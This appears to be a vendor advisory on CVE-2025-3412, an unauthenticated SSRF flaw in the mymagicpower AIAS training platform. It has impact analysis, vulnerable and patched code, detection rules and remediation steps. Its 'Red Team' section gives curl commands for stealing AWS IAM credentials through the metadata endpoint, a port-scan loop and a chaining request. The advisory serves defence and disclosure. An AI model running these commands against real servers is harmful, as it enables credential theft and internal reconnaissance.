CVE-2025-3412
Executive Summary
CVE-2025-3412 is a critical Server-Side Request Forgery (SSRF) vulnerability discovered in the mymagicpower AIAS platform, specifically in the InferController.java file of the training platform module. The vulnerability allows an unauthenticated remote attacker to manipulate the url parameter, forcing the server to make arbitrary HTTP requests to internal or external resources. This can lead to data exfiltration, internal network scanning, and potential remote code execution through chained attacks. The vendor (mymagicpower) was contacted but did not respond, leaving the vulnerability unpatched. A public proof-of-concept (PoC) is available, increasing the risk of active exploitation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a custom Java application. However, the SSRF vector could be used to compromise internal CI/CD systems, artifact repositories, or other supply chain components if the AIAS server has network access to them.
CVSS Breakdown & Threat Level
- CVSS Score: 9.0 (Critical)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Changed (S:C) – The vulnerable component impacts resources beyond its security scope.
- Confidentiality Impact: High (C:H) – Full read access to internal resources.
- Integrity Impact: High (I:H) – Ability to modify internal resources or perform actions.
- Availability Impact: High (A:H) – Potential to cause denial of service or disrupt internal services.
Threat Level: Critical. The combination of remote exploitability, no authentication, and public PoC makes this a high-priority threat for any organization using the mymagicpower AIAS platform.
Deep Dive & Mechanics
The vulnerability resides in the InferController.java file within the 2_training_platform/train-platform/src/main/java/top/aias/training/controller/ directory. The controller exposes an endpoint that accepts a url parameter. The application fails to validate or sanitize this input, allowing an attacker to specify arbitrary URLs.
Mechanism:
- The attacker sends a crafted HTTP request to the vulnerable endpoint with a
urlparameter pointing to an internal resource (e.g.,http://169.254.169.254/latest/meta-data/for cloud metadata, orhttp://127.0.0.1:8080/adminfor internal services). - The server-side code uses this URL to make an HTTP request (likely via
HttpURLConnection,RestTemplate, or similar). - The response from the internal resource is then returned to the attacker, enabling data exfiltration or further attacks.
Impact:
- Internal Network Scanning: Map internal services and open ports.
- Cloud Metadata Theft: Access cloud provider metadata (AWS, GCP, Azure) to retrieve credentials.
- Service Exploitation: Interact with internal services (e.g., Redis, Memcached, databases) that may be vulnerable to SSRF-based attacks.
- Remote Code Execution (RCE): In some cases, SSRF can be chained with other vulnerabilities (e.g., unsafe deserialization) to achieve RCE.
Vulnerable vs. Patched Code
Vulnerable Code (InferController.java):
@PostMapping("/infer")
public String infer(@RequestParam String url) {
// No validation of the url parameter
String response = httpClient.get(url);
return response;
}
Patched Code (Hypothetical):
@PostMapping("/infer")
public String infer(@RequestParam String url) {
// Validate URL against a whitelist of allowed domains
if (!isAllowedUrl(url)) {
throw new SecurityException("URL not allowed");
}
// Use a restricted HTTP client that blocks private IP ranges
String response = restrictedHttpClient.get(url);
return response;
}
private boolean isAllowedUrl(String url) {
// Implement whitelist logic
return url.startsWith("https://allowed-domain.com/");
}
Key Differences:
- Input Validation: Patched code validates the URL against a whitelist.
- Network Restrictions: Patched code uses a restricted HTTP client that blocks private IP ranges (e.g., 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).
- Error Handling: Patched code returns a security exception instead of processing malicious requests.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Target: mymagicpower AIAS instance (e.g.,
http://target-aias.com:8080) - Vulnerable endpoint:
/infer(or similar, based on the controller mapping)
Exploitation Steps:
Basic SSRF Test:
curl -X POST "http://target-aias.com:8080/infer?url=http://127.0.0.1:8080/admin"Cloud Metadata Exfiltration (AWS):
curl -X POST "http://target-aias.com:8080/infer?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"Internal Port Scanning:
for port in 80 443 8080 3306 6379; do curl -s -X POST "http://target-aias.com:8080/infer?url=http://192.168.1.1:$port" | grep -q "response" && echo "Port $port open" doneExploit Chaining (if applicable): If an internal service is vulnerable to deserialization, use SSRF to trigger it:
curl -X POST "http://target-aias.com:8080/infer?url=http://internal-service:8080/deserialize?data=<malicious_payload>"
Blue Team
Detection & Response:
Monitor for SSRF Attempts:
- Look for HTTP requests to the vulnerable endpoint with suspicious
urlparameters. - Alert on requests to private IP ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) or cloud metadata IPs (169.254.169.254).
- Look for HTTP requests to the vulnerable endpoint with suspicious
Network Segmentation:
- Ensure the AIAS server has restricted outbound access to only necessary external services.
- Block outbound traffic to private IP ranges from the application server.
Web Application Firewall (WAF) Rules:
- Block requests containing
urlparameters with private IPs or cloud metadata IPs. - Example ModSecurity rule:
SecRule ARGS:url "@rx ^http://(127\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|169\.254\.)" "id:1001,phase:2,deny,status:403,msg:'SSRF attempt blocked'"
- Block requests containing
Immediate Mitigation:
- If patching is not possible, disable the vulnerable endpoint or restrict access to it via network ACLs.
- Apply a virtual patch using a WAF or reverse proxy.
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound HTTP requests from the AIAS server to private IP ranges (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).
- Requests to cloud metadata IPs (169.254.169.254 for AWS/GCP/Azure).
- Unusual outbound requests to internal service ports (e.g., 3306, 6379, 27017).
File IOCs:
- Log entries in the AIAS application logs showing requests to the
/inferendpoint with suspiciousurlparameters. - Temporary files created by the application during SSRF exploitation (e.g., downloaded content from internal services).
Behavioral IOCs:
- Unusual spikes in outbound traffic from the AIAS server.
- Access to internal services that are not normally accessed by the application.
Detection Engineering
YARA Rule
rule CVE_2025_3412_SSRF_AIAS {
meta:
description = "Detects SSRF exploitation attempts against CVE-2025-3412 in mymagicpower AIAS"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-3412"
strings:
$s1 = "url=" ascii wide nocase
$s2 = "127.0.0.1" ascii wide nocase
$s3 = "169.254.169.254" ascii wide nocase
$s4 = "10." ascii wide nocase
$s5 = "192.168." ascii wide nocase
$s6 = "172." ascii wide nocase
condition:
any of ($s1) and any of ($s2, $s3, $s4, $s5, $s6)
}
Sigma Rule
title: CVE-2025-3412 SSRF Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to the vulnerable AIAS endpoint with private IP or cloud metadata URLs
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/infer'
cs-uri-query|contains: 'url='
filter_private:
cs-uri-query|contains:
- '127.0.0.1'
- '10.'
- '192.168.'
- '172.'
- '169.254.169.254'
condition: selection and filter_private
falsepositives:
- Legitimate internal monitoring tools (if any)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-3412 SSRF Exploitation Attempt"; flow:to_server; content:"POST"; http_method; content:"/infer"; http_uri; content:"url="; http_uri; pcre:"/url=http:\/\/(127\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|169\.254\.)/Ri"; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Vulnerable Endpoint: If possible, remove or disable the
/inferendpoint until a patch is available. - Network Segmentation: Restrict outbound traffic from the AIAS server to only necessary external services. Block all private IP ranges.
- WAF Rules: Deploy WAF rules to block SSRF attempts (see Detection Engineering section).
- Monitor Logs: Actively monitor application logs for suspicious requests to the
/inferendpoint.
Long-Term Fixes:
- Input Validation: Implement strict URL validation, allowing only a whitelist of trusted domains.
- Restricted HTTP Client: Use an HTTP client that blocks private IP ranges and cloud metadata IPs.
- Code Review: Conduct a security review of all controller endpoints to identify similar vulnerabilities.
- Vendor Engagement: Continue to pressure the vendor for an official patch. If no response, consider migrating to an alternative solution.
Workaround:
- If the endpoint is critical, implement a reverse proxy that validates the
urlparameter before forwarding the request to the application.
Valters IT